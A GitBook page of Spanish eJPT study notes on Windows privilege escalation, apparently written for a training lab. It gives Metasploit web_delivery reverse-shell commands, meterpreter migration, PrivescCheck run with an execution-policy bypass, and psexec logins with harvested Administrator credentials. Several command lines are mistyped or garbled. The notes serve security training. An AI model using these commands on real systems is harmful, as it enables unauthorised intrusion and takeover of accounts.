eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • PrivescCheck
  • Demo: Identifying Windows Privilege Escalation Vulnerabilities
  • Quiz: Identifying Windows Privilege Escalation Vulnerabilities
  • Windows Privilege Escalation
  • Demo: Windows Privilege Escalation
  • Quiz: Windows Privilege Escalation
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: Post-Exploitation
  3. Escalation

Windows Privilege Escalation

PreviousEscalationNextLinux Privilege Escalation

Last updated 8 months ago

Identifying Windows Privilege Escalation Vulnerabilities

Para aumentar sus privilegios en Windows, primero debe identificar las vulnerabilidades de escalada de privilegios que existen en el sistema de destino.

Este proceso variará en gran medida según el tipo de destino al que obtenga acceso. La escalada de privilegios en Windows se puede realizar mediante una gran cantidad de técnicas según la versión de Windows y la configuración única del sistema.

Este proceso puede ser bastante tedioso y consumir mucho tiempo y, como resultado, se recomienda automatizar los procesos de identificación de vulnerabilidades de escalada de privilegios. Esto se puede hacer mediante el uso de varios scripts de automatización.

PrivescCheck

PrivescCheck Este script tiene como objetivo enumerar problemas comunes de configuración de Windows que se pueden aprovechar para la escalada de privilegios locales. También recopila información diversa que puede ser útil para la explotación y/o la postexplotación.

Demo: Identifying Windows Privilege Escalation Vulnerabilities

msf5 > search web_delivery
msf5 > use 1
msf5 exploit(mutti/script/web_delivery) > show options
msf5 exploit(mutti/script/web_delivery) > show info
msf5 exploit(mutti/script/web_delivery) > set target PSH
msf5 exploit(mutti/script/web_delivery) > set payload windows/ shell/ reverse_tcp
msf5 exploit(mutti/script/web_delivery) > set PSH-EncodedCommand false
msf5 exploit(mutti/script/web_delivery) > set LHOST ethl
msf5 exploit(mutti/script/web_delivery) > exploit
# Generara una lia de comando para ejecutar en el equipo de la victima desde
# un powershell o cmd
# Una vez ejecuta preciona enter en la sesion de Metasploit
msf5 exploit(mutti/script/web_delivery) > sessions
# Ingresar a la session y ejecutarlo en segundo plano
msf5 exploit(mutti/script/web_delivery) > search shell_to

msf5 exploit(mutti/script/web_delivery) > use 0
msf5 post(mutti/manage/shelt_to_meterpreter) > show options
msf5 post(mutti/manage/shelt_to_meterpreter) > set LHOST ethl
msf5 post(mutti/manage/shelt_to_meterpreter) > set SESSION 1
msf5 post(mutti/manage/shelt_to_meterpreter) > show advance
msf5 post(mutti/manage/shelt_to_meterpreter) > set WIN_TRANSFER VBS
msf5 post(mutti/manage/shelt_to_meterpreter) > show options
msf5 post(mutti/manage/shelt_to_meterpreter) > exploit

# Tener en cuenta que levantara una sesion y se debe de ingresar a esa session
meterpreter > sysinfo
meterpreter > ps
# Migrar al explorador de windows
meterpreter > migrate 3624
# Ver los privilegios actuales
meterpreter > getuid
meterpreter > getprivs
# Transferir el powershell al equipo de la victima

meterpreter > dir
Listing: C:\Users\student\Desktop\PrivescCheck
C:\Users\student\Desktop\PrivescCheck> powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
# Enumera Usuario y grupos
# Privilegios del usuario actua
# Vulnerabilidades en conrtasenas
# Ver la posibilidad de ejecutar con el comando  -extend

Quiz: Identifying Windows Privilege Escalation Vulnerabilities

Windows Privilege Escalation

Demo: Windows Privilege Escalation

# Segun el ejempllo aterior se encontro credenciales en CREDS > WinLogon

# Nos autenticamos por SMB con la contraseña recopilada
psexec.py Administrator@10.4.21.189
whoami
net user
whoami /privs

# Atravez  de metasplot
msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > show options
msf5 exploit(windows/smb/psexec) > show optionsset LPORT 44221
msf5 exploit(windows/smb/psexec) > show optionsset RHOSTS 10.4.21.189
msf5 exploit(windows/smb/psexec) > show optionsset SMBUser administrator
msf5 exploit(windows/smb/psexec) > show optionsset SMBPass hello 123321
msf5 exploit(windows/smb/psexec) > show optionsexploit
meterpreter > sysinfo
meterpreter > getuid

Quiz: Windows Privilege Escalation

GitHub - itm4n/PrivescCheck: Privilege Escalation Enumeration Script for WindowsGitHub
Logo